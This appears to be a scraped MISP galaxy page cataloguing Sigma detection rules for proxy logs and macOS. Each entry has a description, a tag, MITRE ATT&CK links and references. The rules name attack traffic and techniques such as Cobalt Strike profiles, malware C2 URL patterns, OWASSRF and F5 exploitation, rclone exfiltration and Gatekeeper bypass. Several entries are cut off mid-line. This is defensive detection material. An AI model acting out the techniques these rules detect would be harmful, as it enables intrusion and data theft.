- related-to: `misp-galaxy:mitre-attack-pattern="Web Shell - T1505.003"` with estimative-language:likelihood-probability="almost-certain"

Table 10726. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://thedfirreport.com/2022/06/06/will-the-real-msiexec-please-stand-up-exploit-leads-to-data-exfiltration/">https://thedfirreport.com/2022/06/06/will-the-real-msiexec-please-stand-up-exploit-leads-to-data-exfiltration/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/web/webserver_generic/web_susp_windows_path_uri.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/web/webserver_generic/web_susp_windows_path_uri.yml</a></td>
</tr>
</tbody>
</table>

Server Side Template Injection Strings

Detects SSTI attempts sent via GET requests in access logs

The tag is: `misp-galaxy:sigma-rules="Server Side Template Injection Strings"`

View relationships graph

Server Side Template Injection Strings has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Template Injection - T1221"` with estimative-language:likelihood-probability="almost-certain"

Table 10727. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/payloadbox/ssti-payloads">https://github.com/payloadbox/ssti-payloads</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/web/webserver_generic/web_ssti_in_access_logs.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/web/webserver_generic/web_ssti_in_access_logs.yml</a></td>
</tr>
</tbody>
</table>

APT User Agent

Detects suspicious user agent strings used in APT malware in proxy logs

The tag is: `misp-galaxy:sigma-rules="APT User Agent"`
APT User Agent has relationships with:


**Potential Base64 Encoded User-Agent**

Detects User Agent strings that end with an equal sign, which can be a sign of base64 encoding.

The tag is: misp-galaxy:sigma-rules="Potential Base64 Encoded User-Agent"

Empire UserAgent URI Combo

Detects user agent and URI paths used by empire agents

The tag is: misp-galaxy:sigma-rules="Empire UserAgent URI Combo"
**Links**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/BC-SECURITY/Empire">https://github.com/BC-SECURITY/Empire</a></td>
</tr>
</tbody>
</table>

**Bitsadmin to Uncommon TLD**

Detects Bitsadmin connections to domains with uncommon TLDs

The tag is: `misp-galaxy:sigma-rules="Bitsadmin to Uncommon TLD"`

**View relationships graph**

Bitsadmin to Uncommon TLD has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="BITS Jobs - T1197"` with estimative-language:likelihood-probability="almost-certain"

**Table 10731. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/jhencinski/status/1102695118455349248">https://twitter.com/jhencinski/status/1102695118455349248</a></td>
</tr>
<tr>
<td><a href="https://isc.sans.edu/forums/diary/Investigating+Microsoft+BITS+Activity/23281/">https://isc.sans.edu/forums/diary/Investigating+Microsoft+BITS+Activity/23281/</a></td>
</tr>
<tr>
<td>[<a href="https://github.com/SigmaHQ/sigma/tree/master/rules/web/proxy_generic/proxy">https://github.com/SigmaHQ/sigma/tree/master/rules/web/proxy_generic/proxy</a> ua_bitsadmin_susp_tld.yml](<a href="https://github.com/SigmaHQ/sigma/tree/master/rules/web/proxy_generic/proxy">https://github.com/SigmaHQ/sigma/tree/master/rules/web/proxy_generic/proxy</a> ua_bitsadmin_susp_tld.yml)</td>
</tr>
</tbody>
</table>

**Turla ComRAT**

Detects Turla ComRAT patterns

The tag is: `misp-galaxy:sigma-rules="Turla ComRAT"`

**View relationships graph**

Turla ComRAT has relationships with:


**Table 10732. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
Chafer Malware URL Pattern

Detects HTTP requests used by Chafer malware

The tag is: misp-galaxy:sigma-rules="Chafer Malware URL Pattern"

View relationships graph

Chafer Malware URL Pattern has relationships with:


Table 10733. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://securelist.com/chafer-used-remexi-malware/89538/">https://securelist.com/chafer-used-remexi-malware/89538/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/web/proxy_generic/proxy_chafer_malware.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/web/proxy_generic/proxy_chafer_malware.yml</a></td>
</tr>
</tbody>
</table>

OWASSRF Exploitation Attempt Using Public POC - Proxy

Detects exploitation attempt of the OWASSRF variant targeting exchange servers using publicly available POC. It uses the OWA endpoint to access the powershell backend endpoint

The tag is: misp-galaxy:sigma-rules="OWASSRF Exploitation Attempt Using Public POC - Proxy"

View relationships graph

OWASSRF Exploitation Attempt Using Public POC - Proxy has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Exploit Public-Facing Application - T1190" with estimative-language:likelihood-probability="almost-certain"

Table 10734. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.crowdstrike.com/blog/owassrf-exploit-analysis-and-recommendations/">https://www.crowdstrike.com/blog/owassrf-exploit-analysis-and-recommendations/</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/purp1ew0lf/status/1602989967776808961?s=12&amp;t=OkZJl_ViICeiftVEsohRyw">https://twitter.com/purp1ew0lf/status/1602989967776808961?s=12&amp;t=OkZJl_ViICeiftVEsohRyw</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/web/proxy_generic/proxy_exchange_owassrf_poc_exploitation.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/web/proxy_generic/proxy_exchange_owassrf_poc_exploitation.yml</a></td>
</tr>
</tbody>
</table>
**Exploit Framework User Agent**

Detects suspicious user agent strings used by exploit / pentest frameworks like Metasploit in proxy logs

The tag is: `misp-galaxy:sigma-rules="Exploit Framework User Agent"`

View relationships graph

Exploit Framework User Agent has relationships with:


**Windows WebDAV User Agent**

Detects WebDav DownloadCradle

The tag is: `misp-galaxy:sigma-rules="Windows WebDAV User Agent"`

View relationships graph

Windows WebDAV User Agent has relationships with:


**Download from Suspicious Dyndns Hosts**

Detects download of certain file types from hosts with dynamic DNS names (selected list)

The tag is: `misp-galaxy:sigma-rules="Download from Suspicious Dyndns Hosts"`

View relationships graph
Download from Suspicious Dyndns Hosts has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Dynamic Resolution - T1568" with estimative-language:likelihood-probability="almost-certain"

Table 10737. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/web/proxy_generic/proxy_download_susp_dydns.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/web/proxy_generic/proxy_download_susp_dydns.yml</a></td>
</tr>
</tbody>
</table>

**CobaltStrike Malleable OneDrive Browsing Traffic Profile**

Detects Malleable OneDrive Profile

The tag is: misp-galaxy:sigma-rules="CobaltStrike Malleable OneDrive Browsing Traffic Profile"

View relationships graph

CobaltStrike Malleable OneDrive Browsing Traffic Profile has relationships with:


Table 10738. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/rsmudge/Malleable-C2-Profiles/blob/26323784672913923d20c5a638c6ca79459e8529/normal/onedrive_getonly.profile">https://github.com/rsmudge/Malleable-C2-Profiles/blob/26323784672913923d20c5a638c6ca79459e8529/normal/onedrive_getonly.profile</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/web/proxy_generic/proxy_cobalt_onedrive.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/web/proxy_generic/proxy_cobalt_onedrive.yml</a></td>
</tr>
</tbody>
</table>

**Suspicious User Agent**

Detects suspicious malformed user agent strings in proxy logs

The tag is: misp-galaxy:sigma-rules="Suspicious User Agent"

View relationships graph

Suspicious User Agent has relationships with:

Table 10739. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/fastly/waf_testbed/blob/8bfc406551f3045e418cbaad7596cfff8da331dfc/templates/default/scanners-user-agents.data.erb">https://github.com/fastly/waf_testbed/blob/8bfc406551f3045e418cbaad7596cfff8da331dfc/templates/default/scanners-user-agents.data.erb</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/web/proxy_generic/proxy_ua_susp.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/web/proxy_generic/proxy_ua_susp.yml</a></td>
</tr>
</tbody>
</table>

**Telegram API Access**

Detects suspicious requests to Telegram API without the usual Telegram User-Agent

The tag is: `misp-galaxy:sigma-rules="Telegram API Access"`

View relationships graph

Telegram API Access has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Bidirectional Communication - T1102.002"` with estimative-language:likelihood-probability="almost-certain"

Table 10740. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/web/proxy_generic/proxy_telegram_api.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/web/proxy_generic/proxy_telegram_api.yml</a></td>
</tr>
</tbody>
</table>

**Download From Suspicious TLD - Whitelist**

Detects executable downloads from suspicious remote systems

The tag is: `misp-galaxy:sigma-rules="Download From Suspicious TLD - Whitelist"`

View relationships graph

Download From Suspicious TLD - Whitelist has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Phishing - T1566"` with estimative-language:likelihood-probability="almost-certain"
- related-to: `misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203"` with estimative-language:likelihood-probability="almost-certain"
- related-to: `misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002"` with estimative-
Malware User Agent

Detects suspicious user agent strings used by malware in proxy logs

The tag is: `misp-galaxy:sigma-rules="Malware User Agent"`

View relationships graph

Malware User Agent has relationships with:


Suspicious Network Communication With IPFS

Detects connections to interplanetary file system (IPFS) containing a user's email address which mirrors behaviours observed in recent phishing campaigns leveraging IPFS to host credential harvesting webpages.

The tag is: `misp-galaxy:sigma-rules="Suspicious Network Communication With IPFS"`

View relationships graph

Suspicious Network Communication With IPFS has relationships with:
Bitsadmin to Uncommon IP Server Address

Detects Bitsadmin connections to IP addresses instead of FQDN names

The tag is: `misp-galaxy:sigma-rules="Bitsadmin to Uncommon IP Server Address"`

View relationships graph

Bitsadmin to Uncommon IP Server Address has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="BITS Jobs - T1197"` with estimative-language:likelihood-probability="almost-certain"

Rclone Activity via Proxy

Detects the use of rclone, a command-line program to manage files on cloud storage, via its default user-agent string

The tag is: `misp-galaxy:sigma-rules="Rclone Activity via Proxy"`

View relationships graph

Rclone Activity via Proxy has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Exfiltration to Cloud Storage - T1567.002"` with estimative-language:likelihood-probability="almost-certain"
Potential OWASSRF Exploitation Attempt - Proxy

 Detects exploitation attempt of the OWASSRF variant targeting exchange servers. It uses the OWA endpoint to access the powershell backend endpoint.

The tag is: `misp-galaxy:sigma-rules="Potential OWASSRF Exploitation Attempt - Proxy"`

View relationships graph

Potential OWASSRF Exploitation Attempt - Proxy has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Exploit Public-Facing Application - T1190"` with estimative-language:likelihood-probability="almost-certain"

---

Crypto Miner User Agent

Detects suspicious user agent strings used by crypto miners in proxy logs.

The tag is: `misp-galaxy:sigma-rules="Crypto Miner User Agent"`

View relationships graph

Crypto Miner User Agent has relationships with:

Ursnif Malware Download URL Pattern

Detects download of Ursnif malware done by dropper documents.

The tag is: `misp-galaxy:sigma-rules="Ursnif Malware Download URL Pattern"`

View relationships graph

Ursnif Malware Download URL Pattern has relationships with:


Table 10748. Table References

Links


iOS Implant URL Pattern

Detects URL pattern used by iOS Implant

The tag is: `misp-galaxy:sigma-rules="iOS Implant URL Pattern"`

View relationships graph

iOS Implant URL Pattern has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203"` with estimative-language:likelihood-probability="almost-certain"

- related-to: `misp-galaxy:mitre-attack-pattern="Data from Local System - T1005"` with estimative-language:likelihood-probability="almost-certain"


- related-to: `misp-galaxy:mitre-attack-pattern="Credentials In Files - T1552.001"` with estimative-language:likelihood-probability="almost-certain"

Table 10749. Table References
F5 BIG-IP iControl Rest API Command Execution - Proxy

Detects POST requests to the F5 BIG-IP iControl Rest API "bash" endpoint, which allows the execution of commands on the BIG-IP

The tag is: *misp-galaxy: sigma-rules="F5 BIG-IP iControl Rest API Command Execution - Proxy"

View relationships graph

F5 BIG-IP iControl Rest API Command Execution - Proxy has relationships with:

- related-to: *misp-galaxy: mitre-attack-pattern="Exploit Public-Facing Application - T1190" with estimative-language:likelihood-probability="almost-certain"

Table 10750. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://f5-sdk.readthedocs.io/en/latest/apidoc/f5.bigip.tm.util.html#module-f5.bigip.tm.util.bash">https://f5-sdk.readthedocs.io/en/latest/apidoc/f5.bigip.tm.util.html#module-f5.bigip.tm.util.bash</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/web/proxy_generic/proxy_f5_tm_utility_bash_api_request.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/web/proxy_generic/proxy_f5_tm_utility_bash_api_request.yml</a></td>
</tr>
</tbody>
</table>

CobaltStrike Malformed UAs in Malleable Profiles

Detects different malformed user agents used in Malleable Profiles used with Cobalt Strike

The tag is: *misp-galaxy: sigma-rules="CobaltStrike Malformed UAs in Malleable Profiles"

View relationships graph

CobaltStrike Malformed UAs in Malleable Profiles has relationships with:


Table 10751. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/yeyintminthuhtut/Malleable-C2-Profiles-Collection/">https://github.com/yeyintminthuhtut/Malleable-C2-Profiles-Collection/</a></td>
</tr>
</tbody>
</table>
Raw Paste Service Access

Detects direct access to raw pastes in different paste services often used by malware in their second stages to download malicious code in encrypted or encoded form

The tag is: *misp-galaxy:sigma-rules*="Raw Paste Service Access"

View relationships graph

Raw Paste Service Access has relationships with:

- related-to: *misp-galaxy:mitre-attack-pattern*="Dead Drop Resolver - T1102.001" with estimative-language:likelihood-probability="almost-certain"
- related-to: *misp-galaxy:mitre-attack-pattern*="One-Way Communication - T1102.003" with estimative-language:likelihood-probability="almost-certain"

Table 10752. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.virustotal.com/gui/domain/paste.ee/relations">https://www.virustotal.com/gui/domain/paste.ee/relations</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/web/proxy_generic/proxy_raw_paste_service_access.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/web/proxy_generic/proxy_raw_paste_service_access.yml</a></td>
</tr>
</tbody>
</table>

Advanced IP/Port Scanner Update Check

Detect update check performed by Advanced IP Scanner and Advanced Port Scanner

The tag is: *misp-galaxy:sigma-rules*="Advanced IP/Port Scanner Update Check"

View relationships graph

Advanced IP/Port Scanner Update Check has relationships with:


Table 10753. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.advanced-ip-scanner.com/">https://www.advanced-ip-scanner.com/</a></td>
</tr>
<tr>
<td><a href="https://www.advanced-port-scanner.com/">https://www.advanced-port-scanner.com/</a></td>
</tr>
</tbody>
</table>
**Suspicious Base64 Encoded User-Agent**

Detects suspicious encoded User-Agent strings, as seen used by some malware.

The tag is: misp-galaxy:sigma-rules="Suspicious Base64 Encoded User-Agent"

View relationships graph

Suspicious Base64 Encoded User-Agent has relationships with:


*Table 10754. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://deviceatlas.com/blog/list-of-user-agent-strings#desktop">https://deviceatlas.com/blog/list-of-user-agent-strings#desktop</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/web/proxy_generic/proxy_ua_base64_encoded.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/web/proxy_generic/proxy_ua_base64_encoded.yml</a></td>
</tr>
</tbody>
</table>

**Download From Suspicious TLD - Blacklist**

Detects download of certain file types from hosts in suspicious TLDs

The tag is: misp-galaxy:sigma-rules="Download From Suspicious TLD - Blacklist"

View relationships graph

Download From Suspicious TLD - Blacklist has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Phishing - T1566" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203" with estimative-language:likelihood-probability="almost-certain"

*Table 10755. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.spamhaus.org/statistics/tlds/">https://www.spamhaus.org/statistics/tlds/</a></td>
</tr>
</tbody>
</table>
CobaltStrike Malleable Amazon Browsing Traffic Profile

Detects Malleable Amazon Profile

The tag is: `misp-galaxy:sigma-rules="CobaltStrike Malleable Amazon Browsing Traffic Profile"`

View relationships graph

CobaltStrike Malleable Amazon Browsing Traffic Profile has relationships with:


Table 10756. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.hybrid-analysis.com/sample/ee5eca8648e45e2fe9dac0d920ef1a1792d8690c41ee7f20343de1927cc88b9?environmentId=100">https://www.hybrid-analysis.com/sample/ee5eca8648e45e2fe9dac0d920ef1a1792d8690c41ee7f20343de1927cc88b9?environmentId=100</a></td>
</tr>
<tr>
<td><a href="https://github.com/rsmudge/Malleable-C2-Profiles/blob/26323784672913923d20c5a638c6ca79459e8529/normal/amazon.profile">https://github.com/rsmudge/Malleable-C2-Profiles/blob/26323784672913923d20c5a638c6ca79459e8529/normal/amazon.profile</a></td>
</tr>
</tbody>
</table>

PwnDrp Access

Detects downloads from PwnDrp web servers developed for red team testing and most likely also used for criminal activity

The tag is: `misp-galaxy:sigma-rules="PwnDrp Access"`

View relationships graph

PwnDrp Access has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Dead Drop Resolver - T1102.001"` with estimative-language:likelihood-probability="almost-certain"
- related-to: `misp-galaxy:mitre-attack-pattern="One-Way Communication - T1102.003"` with estimative-language:likelihood-probability="almost-certain"

Table 10757. Table References
CobaltStrike Malleable (OCSP) Profile

Detects Malleable (OCSP) Profile with Typo (OSCP) in URL

The tag is: `misp-galaxy:sigma-rules="CobaltStrike Malleable (OCSP) Profile"`

View relationships graph

CobaltStrike Malleable (OCSP) Profile has relationships with:


Windows PowerShell User Agent

Detects Windows PowerShell Web Access

The tag is: `misp-galaxy:sigma-rules="Windows PowerShell User Agent"`

View relationships graph

Windows PowerShell User Agent has relationships with:


Java Class Proxy Download

Detects Java class download in proxy logs, e.g. used in Log4shell exploitation attacks against Log4j.
### BabyShark Agent Pattern

Detects Baby Shark C2 Framework communication patterns

The tag is: `misp-galaxy:sigma-rules="BabyShark Agent Pattern"

View relationships graph

BabyShark Agent Pattern has relationships with:


### Hack Tool User Agent

Detects suspicious user agent strings user by hack tools in proxy logs

The tag is: `misp-galaxy:sigma-rules="Hack Tool User Agent"

View relationships graph

Hack Tool User Agent has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Exploit Public-Facing Application - T1190"` with estimative-language:likelihood-probability="almost-certain"
- related-to: `misp-galaxy:mitre-attack-pattern="Brute Force - T1110"` with estimative-language:likelihood-probability="almost-certain"
**APT40 Dropbox Tool User Agent**

Detects suspicious user agent string of APT40 Dropbox tool

The tag is: `misp-galaxy:sigma-rules="APT40 Dropbox Tool User Agent"`

View relationships graph

APT40 Dropbox Tool User Agent has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Exfiltration to Cloud Storage - T1567.002"` with estimative-language:likelihood-probability="almost-certain"

---

**Ursnif Malware C2 URL Pattern**

Detects Ursnif C2 traffic.

The tag is: `misp-galaxy:sigma-rules="Ursnif Malware C2 URL Pattern"`

View relationships graph

Ursnif Malware C2 URL Pattern has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001"` with estimative-language:likelihood-probability="almost-certain"

---

**Table 10763. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td>Internal research from Florian Roth</td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/web/proxy_generic/proxy_apt40.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/web/proxy_generic/proxy_apt40.yml</a></td>
</tr>
</tbody>
</table>

**Table 10764. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.fortinet.com/blog/threat-research/ursnif-variant-spreading-word-document.html">https://www.fortinet.com/blog/threat-research/ursnif-variant-spreading-word-document.html</a></td>
</tr>
</tbody>
</table>
**Empty User Agent**

Detects suspicious empty user agent strings in proxy logs

The tag is: *misp-galaxy: sigma-rules*="Empty User Agent"

**View relationships graph**

Empty User Agent has relationships with:


**Table 10765. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/Carlos_Perez/status/883455096645931008">https://twitter.com/Carlos_Perez/status/883455096645931008</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/web/proxy_generic/proxy_empty_ua.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/web/proxy_generic/proxy_empty_ua.yml</a></td>
</tr>
</tbody>
</table>

**Flash Player Update from Suspicious Location**

Detects a flashplayer update from an unofficial location

The tag is: *misp-galaxy: sigma-rules*="Flash Player Update from Suspicious Location"

**View relationships graph**

Flash Player Update from Suspicious Location has relationships with:

- related-to: *misp-galaxy: mitre-attack-pattern*="Drive-by Compromise - T1189" with estimative-language:likelihood-probability="almost-certain"


- related-to: *misp-galaxy: mitre-attack-pattern*="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"

**Table 10766. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://gist.github.com/roycewilliams/a723aaf8a6ac3ba4f817847610935cfb">https://gist.github.com/roycewilliams/a723aaf8a6ac3ba4f817847610935cfb</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/web/proxy_generic/proxy_susp_flash_download_loc.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/web/proxy_generic/proxy_susp_flash_download_loc.yml</a></td>
</tr>
</tbody>
</table>

**Search-ms and WebDAV Suspicious Indicators in URL**

Detects URL pattern used by search(-ms)/WebDAV initial access campaigns.

The tag is: *misp-galaxy: sigma-rules*="Search-ms and WebDAV Suspicious Indicators in URL"
View relationships graph

Search-ms and WebDAV Suspicious Indicators in URL has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Compromise Infrastructure - T1584" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Phishing - T1566" with estimative-language:likelihood-probability="almost-certain"

Table 10767. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://micahbabinski.medium.com/search-ms-webdav-and-chill-99c5b23ac462">html</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/web/proxy_generic/proxy_webdav_search_mis.yml">html</a></td>
</tr>
</tbody>
</table>

**Startup Items**

Detects creation of startup item plist files that automatically get executed at boot initialization to establish persistence.

The tag is: `misp-galaxy:sigma-rules="Startup Items"`

View relationships graph

Startup Items has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Startup Items - T1037.005" with estimative-language:likelihood-probability="almost-certain"

Table 10768. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057f6f374b372bfcf365fee2a9/atomics/T1037.005/T1037.005.md">html</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/macos/file_event/file_event_macos_startup_items.yml">html</a></td>
</tr>
</tbody>
</table>

**MacOS Emond Launch Daemon**

Detects additions to the Emond Launch Daemon that adversaries may use to gain persistence and elevate privileges.

The tag is: `misp-galaxy:sigma-rules="MacOS Emond Launch Daemon"`

View relationships graph
MacOS Emond Launch Daemon has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Emond - T1546.014" with estimative-language:likelihood-probability="almost-certain"

Table 10769. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdcc3742bfcf365fee2a9/atomics/T1546.014/T1546.014.md">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdcc3742bfcf365fee2a9/atomics/T1546.014/T1546.014.md</a></td>
</tr>
<tr>
<td><a href="https://posts.specterops.io/leveraging-emond-on-macos-for-persistence-a040a2785124">https://posts.specterops.io/leveraging-emond-on-macos-for-persistence-a040a2785124</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/macos/file_event/file_event_macos_emond_launch_daemon.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/macos/file_event/file_event_macos_emond_launch_daemon.yml</a></td>
</tr>
</tbody>
</table>

JXA In-memory Execution Via OSAScript

Detects possible malicious execution of JXA in-memory via OSAScript

The tag is: misp-galaxy: sigma-rules="JXA In-memory Execution Via OSAScript"

View relationships graph

JXA In-memory Execution Via OSAScript has relationships with:

- related-to: misp-galaxy: mitre-attack-pattern="JavaScript - T1059.007" with estimative-language:likelihood-probability="almost-certain"

Table 10770. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://redcanary.com/blog/applescript/">https://redcanary.com/blog/applescript/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_jxa_in_memory_execution.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_jxa_in_memory_execution.yml</a></td>
</tr>
</tbody>
</table>

Suspicious Microsoft Office Child Process - MacOS

Detects suspicious child processes spawning from microsoft office suite applications such as word or excel. This could indicates malicious macro execution

The tag is: misp-galaxy: sigma-rules="Suspicious Microsoft Office Child Process - MacOS"

View relationships graph

Suspicious Microsoft Office Child Process - MacOS has relationships with:

- related-to: misp-galaxy: mitre-attack-pattern="AppleScript - T1059.002" with estimative-
Security Software Discovery - MacOs

Detects usage of system utilities (only grep for now) to discover security software discovery.

The tag is: `misp-galaxy:sigma-rules="Security Software Discovery - MacOs"`

OSAC Compile Run-Only Execution

Detects potential suspicious run-only executions compiled using OSAC Compile.

The tag is: `misp-galaxy:sigma-rules="OSAC Compile Run-Only Execution"`
Screen Capture - macOS

Detects attempts to use screencapture to collect macOS screenshots

The tag is: *misp-galaxy: sigma-rules=*"Screen Capture - macOS"

View relationships graph

Screen Capture - macOS has relationships with:

- related-to: *misp-galaxy: mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"

Clipboard Data Collection Via OSAScript

Detects possible collection of data from the clipboard via execution of the osascript binary

The tag is: *misp-galaxy: sigma-rules="Clipboard Data Collection Via OSAScript"

View relationships graph

Clipboard Data Collection Via OSAScript has relationships with:

- related-to: *misp-galaxy: mitre-attack-pattern="Clipboard Data - T1115" with estimative-language:likelihood-probability="almost-certain"

File and Directory Discovery - MacOS

Detects usage of system utilities to discover files and directories.

The tag is: misp-galaxy:.sigma-rules="File and Directory Discovery - MacOS"

View relationships graph

File and Directory Discovery - MacOS has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"

Table 10776. Table References

MacOS Scripting Interpreter AppleScript

Detects execution of AppleScript of the macOS scripting language AppleScript.

The tag is: misp-galaxy:sigma-rules="MacOS Scripting Interpreter AppleScript"

View relationships graph

MacOS Scripting Interpreter AppleScript has relationships with:


Table 10777. Table References
**Osacompile Execution By Potentially Suspicious Applet/Osascript**

Detects potential suspicious applet or osascript executing "osacompile".

The tag is: `misp-galaxy:sigma-rules="Osacompile Execution By Potentially Suspicious Applet/Osascript"`

**View relationships graph**

Osacompile Execution By Potentially Suspicious Applet/Osascript has relationships with:


**Table 10778. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://redcanary.com/blog/mac-application-bundles/">https://redcanary.com/blog/mac-application-bundles/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_suspicious_applet_behaviour.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_suspicious_applet_behaviour.yml</a></td>
</tr>
</tbody>
</table>

**Gatekeeper Bypass via Xattr**

Detects macOS Gatekeeper bypass via xattr utility

The tag is: `misp-galaxy:sigma-rules="Gatekeeper Bypass via Xattr"`

**View relationships graph**

Gatekeeper Bypass via Xattr has relationships with:

